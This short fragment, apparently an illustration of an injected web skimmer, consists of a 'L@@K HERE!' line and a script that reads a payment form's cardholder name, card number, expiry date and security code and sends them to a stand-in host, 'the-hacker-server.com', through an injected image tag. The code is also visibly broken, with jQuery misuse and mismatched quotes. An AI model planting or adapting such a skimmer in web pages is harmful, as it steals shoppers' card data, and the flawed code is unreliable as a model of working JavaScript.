L@@K HERE!
<script>
// send card information to the hacker when user submits!
$('form').submit = function () {
    var name = $('input[name="cardholder-name"]').value,
        card = $('input[name="card-no"]').value,
        date = $('input[name="expiration-date"]').value,
        code = $('input[name="security-code"]').value;
    $("body").insertAdjacentHTML("beforeend",
        '<img src="http://the-hacker-server.com/?name="' + name 
        + "&card=" + card + "&date=" + date + "&code=" + code + '>');
}
</script>